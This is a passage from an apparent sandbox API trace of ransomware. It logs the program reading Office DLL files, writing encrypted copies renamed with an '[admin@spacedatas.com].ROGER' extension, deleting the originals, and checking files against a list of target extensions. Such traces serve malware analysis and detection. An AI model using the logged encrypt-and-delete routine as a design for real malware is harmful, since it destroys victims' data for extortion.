Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0057.612] lstrlenW (lpString=".jpg") returned 4 [0057.612] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.612] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.612] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0057.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.613] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=862608) returned 1 [0057.613] CloseHandle (hObject=0x3ec) returned 1 [0057.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0057.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.613] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.613] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.614] GetLastError () returned 0x0 [0057.614] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xd2990, lpOverlapped=0x0) returned 1 [0057.632] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0057.808] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.809] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.809] SetEndOfFile (hFile=0x35c) returned 1 [0057.809] CloseHandle (hObject=0x35c) returned 1 [0057.809] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.809] SetEndOfFile (hFile=0x3ec) returned 1 [0057.816] CloseHandle (hObject=0x3ec) returned 1 [0057.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0057.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.817] lstrlenW (lpString=".doc") returned 4 [0057.817] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString=".docx") returned 5 [0057.817] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0057.817] lstrlenW (lpString=".pdf") returned 4 [0057.817] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString=".xls") returned 4 [0057.817] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString=".xlsx") returned 5 [0057.817] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0057.817] lstrlenW (lpString=".ppt") returned 4 [0057.817] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.817] lstrlenW (lpString=".zip") returned 4 [0057.817] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString=".rar") returned 4 [0057.817] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString=".bz2") returned 4 [0057.817] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.817] lstrlenW (lpString=".7z") returned 3 [0057.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.817] lstrlenW (lpString=".dbf") returned 4 [0057.817] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.817] lstrlenW (lpString=".1cd") returned 4 [0057.817] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.817] lstrlenW (lpString=".jpg") returned 4 [0057.817] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString=".doc") returned 4 [0057.818] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString=".docx") returned 5 [0057.818] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0057.818] lstrlenW (lpString=".pdf") returned 4 [0057.818] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString=".xls") returned 4 [0057.818] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString=".xlsx") returned 5 [0057.818] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0057.818] lstrlenW (lpString=".ppt") returned 4 [0057.818] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString=".zip") returned 4 [0057.818] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString=".rar") returned 4 [0057.818] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.818] lstrlenW (lpString=".bz2") returned 4 [0057.818] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.818] lstrlenW (lpString=".7z") returned 3 [0057.818] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString=".dbf") returned 4 [0057.818] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString=".1cd") returned 4 [0057.818] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0057.818] lstrlenW (lpString=".jpg") returned 4 [0057.819] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.819] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".ROGER") returned -1 [0057.819] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0057.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.819] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=55680) returned 1 [0057.819] CloseHandle (hObject=0x3ec) returned 1 [0057.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0057.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.820] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.820] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.820] GetLastError () returned 0x0 [0057.820] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xd980, lpOverlapped=0x0) returned 1 [0057.822] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xd990, lpOverlapped=0x0) returned 1 [0057.824] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.824] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0057.824] SetEndOfFile (hFile=0x35c) returned 1 [0057.824] CloseHandle (hObject=0x35c) returned 1 [0057.824] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.824] SetEndOfFile (hFile=0x3ec) returned 1 [0057.825] CloseHandle (hObject=0x3ec) returned 1 [0057.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.826] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0057.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.826] lstrlenW (lpString=".doc") returned 4 [0057.826] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".docx") returned 5 [0057.826] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0057.826] lstrlenW (lpString=".pdf") returned 4 [0057.826] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".xls") returned 4 [0057.826] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".xlsx") returned 5 [0057.826] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0057.826] lstrlenW (lpString=".ppt") returned 4 [0057.826] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.826] lstrlenW (lpString=".zip") returned 4 [0057.826] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".rar") returned 4 [0057.826] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".bz2") returned 4 [0057.826] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0057.826] lstrlenW (lpString=".7z") returned 3 [0057.826] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.826] lstrlenW (lpString=".dbf") returned 4 [0057.826] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString=".1cd") returned 4 [0057.827] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString=".jpg") returned 4 [0057.827] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString=".doc") returned 4 [0057.827] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".docx") returned 5 [0057.827] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0057.827] lstrlenW (lpString=".pdf") returned 4 [0057.827] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".xls") returned 4 [0057.827] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".xlsx") returned 5 [0057.827] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0057.827] lstrlenW (lpString=".ppt") returned 4 [0057.827] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString=".zip") returned 4 [0057.827] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".rar") returned 4 [0057.827] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".bz2") returned 4 [0057.827] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0057.827] lstrlenW (lpString=".7z") returned 3 [0057.827] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.827] lstrlenW (lpString=".dbf") returned 4 [0057.828] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0057.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.828] lstrlenW (lpString=".1cd") returned 4 [0057.828] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0057.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0057.828] lstrlenW (lpString=".jpg") returned 4 [0057.828] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0057.828] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".ROGER") returned -1 [0057.828] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0057.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.828] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1388416) returned 1 [0057.828] CloseHandle (hObject=0x3ec) returned 1 [0057.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0057.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.829] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.829] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0057.830] GetLastError () returned 0x0 [0057.830] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.015] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.034] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x52f90, lpOverlapped=0x0) returned 1 [0058.046] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0058.129] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.129] WriteFile (in: hFile=0x35c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0058.129] SetEndOfFile (hFile=0x35c) returned 1 [0058.200] CloseHandle (hObject=0x35c) returned 1 [0058.243] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.243] SetEndOfFile (hFile=0x3ec) returned 1 [0058.541] CloseHandle (hObject=0x3ec) returned 1 [0058.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0058.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.542] lstrlenW (lpString=".doc") returned 4 [0058.542] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString=".docx") returned 5 [0058.542] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.542] lstrlenW (lpString=".pdf") returned 4 [0058.542] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString=".xls") returned 4 [0058.542] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString=".xlsx") returned 5 [0058.542] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.542] lstrlenW (lpString=".ppt") returned 4 [0058.542] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.542] lstrlenW (lpString=".zip") returned 4 [0058.542] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString=".rar") returned 4 [0058.542] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.542] lstrlenW (lpString=".bz2") returned 4 [0058.543] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString=".7z") returned 3 [0058.543] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString=".dbf") returned 4 [0058.543] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString=".1cd") returned 4 [0058.543] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString=".jpg") returned 4 [0058.543] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString=".doc") returned 4 [0058.543] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString=".docx") returned 5 [0058.543] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.543] lstrlenW (lpString=".pdf") returned 4 [0058.543] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString=".xls") returned 4 [0058.543] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString=".xlsx") returned 5 [0058.543] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.543] lstrlenW (lpString=".ppt") returned 4 [0058.543] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 